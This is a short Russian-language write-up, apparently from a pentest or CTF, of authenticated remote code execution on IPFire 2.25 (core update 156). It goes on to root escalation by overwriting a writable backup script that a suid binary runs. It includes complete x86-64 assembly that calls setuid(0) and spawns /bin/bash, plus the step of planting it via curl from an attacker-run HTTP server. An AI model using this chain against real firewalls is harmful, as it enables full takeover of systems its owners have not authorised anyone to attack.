Ipfire 2-25 (core update 156) аутентифицированное удалённое выполнение кода (RCE)

• система выполняет команду при установке любого пакета

• система забирает 7zip прямо из html

• и проверяем каталог tmp

• версия 2.25 — core update 156

• ipfire позволяет выполнять произвольные команды ОС от имени nobody после входа в систему

Получаем root!

• проверяем suid-бинарники

• программа резервного копирования запускает другой скрипт. /var/ipfire/backup/bin/backup.pl (это bash-скрипт, и права у него отличные)

• пробуем записать в bash-скрипт. (Ошибок нет. ОТЛИЧНО!)

• пробуем запустить bash

• да. запустить можем, но с низкими привилегиями. нужно вызвать setuid(0)!
• сохраните это и выполните alti name.asm q
• alti — моя собственная программа проверки компиляции из репозитория soo_deep.

bits 64
section .data
  string db "/bin/bash",0x00
  olmadis db "basarisiz.",0x0a,0x00
  olmadil equ $-olmadis
section .text
  global main
main:
  mov rax,105
  mov rdi,0
  syscall
  cmp rax,0
  je getbash

  mov rax,1
  mov rdi,1
  mov rsi,olmadis
  mov rdx,olmadil
  syscall

  mov rax,60
  xor rdi,rdi
  syscall

getbash:
  mov rax,59
  mov rdi,string
  mov rsi,0
  mov rdx,0
  syscall

• и записываем новую программу в /var/ipfire/backup/bin/backup.pl. (можем использовать python http server и curl для записи)

• и наслаждаемся root-шеллом!